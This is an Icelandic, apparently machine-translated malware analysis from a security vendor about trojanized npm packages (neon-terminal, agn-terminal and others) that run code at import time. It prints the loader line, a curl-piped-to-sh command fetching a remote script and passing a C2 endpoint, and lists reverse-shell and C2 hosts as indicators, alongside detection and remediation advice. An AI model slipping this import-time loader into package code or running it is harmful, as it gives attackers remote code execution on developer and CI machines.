GhostTracker: npm Trojan endurnefnt á 74 mínútum — Sama C2

GhostTracker: npm tróverji sem endurnefndi innan nokkurra klukkustunda frá því að hann var fjarlægður — og hélt sama C2

TL; DR

Einn npm virki birtur fimm trójuhestaðir pakkar í tvær umferðir á þremur dögum. Pakkarnir þykjast vera örsmáar skjálita-, skráningar- og Postgres-viðskiptavinaforrit. Illgjarn kóði keyrir um leið og pakkinn er fluttur inn — það er ekkert uppsetningarforskrift til að sækja.

Fyrsta umferð (neon-terminal, neon-postgres, ne-logger) var afbirt þann 5. júlí 2026 klukkan 14:14 UTC. Sjötíu og fjórum mínútum síðar Sami aðgangur endurútgaf sama tróverjan undir nýjum nöfnum (agn-terminal, agn-logger) — og benti því á sama skipunar- og stjórnunarendapunkt það hafði notað áður: tracker.bvgroup.co.

Þessi C2 gestgjafi er eini vísirinn sem lifir af endurnefninguna og það sem varnarmaður leitar fljótt að. Alvarleiki: hárVistkerfi: npmÖnnur umferð pakkanna var enn í gangi þegar þetta var skrifað.

Árásin: hvernig hún virkar

Pakkningarnar eru hagnýtar tálbeitur. Opið agn-terminal og þú finnur heildstæða, virka ANSI litahjálp — kóðar, styðurLitur, lita, mála — með gerðum og README skrá. Gagnsemikóðinn virkar. Festar efst í færslueininguna, fyrir ofan gagnlega kóðann, eru nokkrar línur sem keyra við innflutning.

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

Þrír hlutir gera þetta áhrifaríkt.

  • Það ræsist við innflutning, ekki við uppsetningu. Pakkinn lýsir því yfir að nei foruppsetning or eftir uppsetningu krókur — staðurinn þar sem skannarar og gagnrýnendur leita venjulega. exec Kall er kóði á einingarstigi. Það keyrir í fyrsta skipti sem eitthvað gerist. krefjast(„agn-terminal“) or flytja inn „agn-terminal“, á vél forritarans eða inni í CI. Bæði ESM færslan (src/index.js) og CommonJS færslan (cjs/src/index.js) bera eins farm, þannig að bæði einingakerfin eru þakin.
  • Hinn raunverulegi farmur lifir utan pakkans. Pakkinn sendir aðeins einnar línu sviðsframleiðanda: fetch remote.agyn.org/remote.sh` og sendið það á sh`. Það sem virknin birtir frá þeirri slóð þegar beiðnin er gerð er það sem keyrir. C2 endapunkturinn er afhentur niðurhalaða handritinu í gegnum TRACKER_REMOTE_ENDPOINT umhverfisbreytan, svo handritið á öðru stigi hringir heim til tracker.bvgroup.co.
  • Burðarpakki víkkar sprengisviðið. agn-skógarhöggvari er önnur tálbeita — „pínulítil alþjóðleg skógarhöggstæki“. Hún hefur enga eigin gagnamagn. Aðgangseining hennar gerir eitt mikilvægt:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

Það lýsir því yfir agn-terminal sem ósjálfstæði og flytur það inn. Uppsetning eða innflutningur skráningarforritsins sækir og ræsir skipanalínupakkann tímabundið. Verkefni sem nefnir aldrei Trójanann beint getur samt keyrt hann í gegnum skráningarforritið.

Hvað er nýtt hér

Fyrsta umferðin notaði ekki fjarstýrðan stigara. Hún sendi farminn inn í línuna og hækkaði hann útgáfu fyrir útgáfu — bash öfug skel í einni útgáfu, net.Socket öfug skel í næsta, a git bæta við/commit/ýta af vinnuskrá fórnarlambsins í annarri, og að lokum fullbúinn HTTP skipunar- og stjórnunarumboðsmaður í neon-enda 0.9.0 sem skráði hýsilinn, spurði um verkefni og keyrði þau með exec()og streymdi úttaki sem var kóðað með base64 til baka. Önnur umferðin fellur allt þetta saman í eina krulla | sh, að færa annað stig alveg af skránni. Sami rekstraraðili, hljóðlátari pakki, sveigjanlegri farmur — og, sem mikilvægast er, sama C2 og áður.

Timeline

Dagsetning (UTC) atburður
2026-07-03 07:03 Fyrsta umferð birt: neon-terminal (0.1.0 hreint, síðan 0.2.0–0.9.0 illgjarnt), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05 neon-terminal merkt í rauntíma skönnun
2026-07-04 Staðfest illgjarnt efni; fylgni kemur í ljós að tveir systkinapakkar eru til staðar; fyrstu tilraunir til að fjarlægja gögn skráðar
2026-07-05 14:14 Fyrsta umferð óbirt — allar átta neon-terminal útgáfur ásamt systkinum fjarlægðum
2026-07-05 15:28 agn-terminal 0.1.0 birt
2026-07-05 15:29 agn-logger 0.1.0 birt — flutningsaðili fyrir nýja flugstöðvapakkann
2026-07-05 (í gangi) Pakkar fyrir aðra umferð eru í boði þegar skrifað er

Tvær loturnar fara fram með þremur dögum millibili og bilið á milli þess að herferðin var fjarlægð og endurræst var 74 mínútur. Herferðin er opin: agn-* Pakkar höfðu ekki verið fjarlægðir þegar þetta var skrifað.

Vísbendingar um málamiðlun

Leitaðu í læsingarskrám og tengistréum að pakkanöfnum. Leitaðu í umboðsþjóni, DNS og BDU skrár fyrir endapunkta netsins. C2 hýsillinn tracker.bvgroup.co spannar báðar umferðirnar og er sá einstaki vísir með hæsta gildi.

Pakkar

Pakki útgáfur Hlutverk Staða
neon-terminal 0.2.0–0.9.0 Tróverji (innbyggðar hleðslur → HTTP C2) óbirt
neon-postgres 3.5.2 tróverji (farm í src/errors.js) óbirt
ne-logger 0.7.0 flutningsaðili (fer eftir neon-terminal) óbirt
agn-terminal 0.1.0 Tróverji (curl | sh sviðsmaður) lifa
agn-logger 0.1.0 flutningsaðili (fer eftir agn-terminal) lifa

neon-enda 0.1.0 var hreint fræ — virkt litasafn án gagna — sem gefið var út til að koma pakkanum á fót áður en illgjarnar útgáfur fylgdu í kjölfarið.

Net

Vísir Samhengi
tracker.bvgroup.co/remote/… HTTP C2, báðar umferðir (tákn umferðar tvö t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.sh umferð tvö stigs fyrsta hleðslutæki
reverse.bvgroup.co:443 endapunktur fyrstu umferðar öfugskeljar (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754 umferð-eitt öfug skel (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852 umferð-eitt öfug skel (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.io rekstraraðilastýrð lén

Hegðun

  • Einingastigi child_process.exec efst í færsluskrá gagnapakka, í báðum src/index.js (ESM) og cjs/src/index.js (CJS).
  • A krulla -fsSL … | sh einlína með C2 sem fór í gegnum TRACKER_REMOTE_ENDPOINT umhverfisbreytu.
  • Annað „gagnsemi“-pakki sem lýsir því fyrsta sem ósjálfstæði og flytur það inn, án eigin gagnamagns.
  • Afgangur // neon-enda athugasemd efst á agn-terminal — afritunar- og límingargripur sem tengir endurnýjunina við upprunalega vörumerkið.

Skráar-klukkutölur (SHA-256, önnur umferð)

  • agn-terminal src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • agn-terminal cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-skógarhöggvari src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Eiginleiki og athuguð hegðun

Sérhver pakki rekst á einn npm reikning, vitalii-agyn, birtir undir óstaðfestu netfangi vitalii@agyn.ioÍ lýsigögnum reikningsins sjálfs eru allir þrír pakkarnir í fyrstu umferð eins og þeir eru viðhaldnir af honum. Innviðirnir tengja umferðirnar saman: lénið agyn.org passar við útgefandann agyn.io netfangslénið og C2 hýsingaraðilinn tracker.bvgroup.co birtist í báðum neon-enda 0.9.0 og agn-terminal 0.1.0 — sama safnaraleið, endurnotuð orðrétt eftir endurnefninguna.

Við lýsum því sem gripirnir sýna og stöðvum þar. Uppgefið netfang útgefanda er vitalii@agyn.ioVið höfum ekki staðfest eignarhald á þessu netfangi og við reiknum ekki aðganginn með neinum nafngreindum einstaklingi eða hópi. Endurnotkun eins C2 endapunkts yfir tvær pakkafjölskyldur er sterkt merki um sama rekstraraðila, ekki auðkenni.

Fyrstu umferðarpakkarnir hölluðust að því að vera vörumerki nálæg. neon-postgres var fullbúin eftirlíking af Porsager sem var mikið notuð postgres.js viðskiptavinur, slagorð og allt, með farminum troðið inn í src/villur.js svo venjuleg innflutningsleið myndi ná þangað — og neon- Forskeytið fær lánaða auðþekkjanleika Neon, Postgres-þjónustuaðila án netþjóna. Nöfnin í annarri umferð hættu að herma eftir persónu og urðu almenn (agn-terminal, agn-skógarhöggvari), sem dregur úr vörumerkjum til að fá hreinna brot frá brunnu nöfnunum.

 Áhrif, þróun og leiðbeiningar varnaraðila

  • Hver er berskjaldaður. Sá sem setur upp og flytur inn einn af þessum pakka, beint eða í gegnum flutningsaðilann, á Unix-líkan vél. Stagerinn notar Curl og sh; skeljarnar með einni umferð nota bash og /dev/tcpÞar sem keyrsla á sér stað við innflutning er nóg að byggja þjón sem setur upp ósjálfstæðið og keyrir allan kóða sem snertir það — ekkert eftiruppsetningarskref þarf. Á vinnustöð forritara eða CI keyrslu keyrir niðurhalaða stig tvö með réttindum notandans og fullri nettengingu.
  • Af hverju framkvæmd á innflutningstíma skiptir máli. Varnir framboðskeðjunnar hafa einbeitt sér að uppsetningarforskriftum, og það af góðri ástæðu - eftiruppsetning er klassískt fótfesta í npm. Þessi herferð sniðgengur það alveg. Það er enginn uppsetningarkrókur til að flagga. illgjarn kóða er venjuleg frumstilling einingar, óaðgreinanlegur í fljótu bragði frá pakka sem reiknar uppflettitöflu við hleðslu. Tól sem aðeins skoðar forskriftir í package.json sjá ekkert.
  • Þróunin að endurnýja vörumerki og endurnýta. 74 mínútna afgreiðslutími er sagan. Takedown fjarlægði nöfnin en ekki rekstraraðilinn, innviðina eða kóðann. Innan klukkustundar var herferðin komin aftur í loftið undir nýjum nöfnum sem bentu á sama C2. Nafnabundin blokkun - afneitun á neon-terminal - hefði þegar verið úrelt. Innviðabundin blokkun - afneitun á bvgroup.co - hefði lent í annarri umferð við komu. Fyrir virkan rekstraraðila sem endurbirtir hraðar en skrár fjarlægja, er varanlegur vísir netendapunkturinn, ekki pakkaheitið.

Hvað á að gera núna

  • Grep læsingarskrár og uppsett tré fyrir öll fimm pakkanöfnin hér að ofan. Meðhöndlið öll samsvarandi forrit sem í hættu og skiptið á aðgangsupplýsingum sem hægt er að nálgast þaðan.
  • Loka og senda viðvörun á lénunum bvgroup.co, agyn.orgog ngrok endapunktarnir í DNS og útgangssíun. tracker.bvgroup.co er í forgangi.
  • Ekki treysta eingöngu á skönnun með uppsetningarkrókum. Bættu við greiningu fyrir einingarstig. barn_ferli og netköll í ósjálfstæði, og fyrir krulla … | sh mynstur í pakkakóða.
  • Líttu á gagnapakka sem lýsir öðru óþekktu gagnsemi sem einu ósjálfstæði sínu og flytur það inn við hleðslu, sem þess virði að skoða það betur.
  • Í CI, frekar –hunsa-handrit þar sem það er mögulegt, en skiljið að það hjálpar ekki hér — gagnið keyrir við innflutning, þannig að stýringar á útgönguleiðum við keyrslu og endurskoðun á ósjálfstæði skipta meira máli.

Heimildir

sca-tools-hugbúnaður-samsetningargreiningartól
Forgangsraðaðu, lagfærðu og tryggðu hugbúnaðaráhættu þína
Fáðu þér ókeypis aðgang.
Ekkert kreditkort krafist.

Tryggðu hugbúnaðarþróun og afhendingu þína

með Xygeni vörupakkanum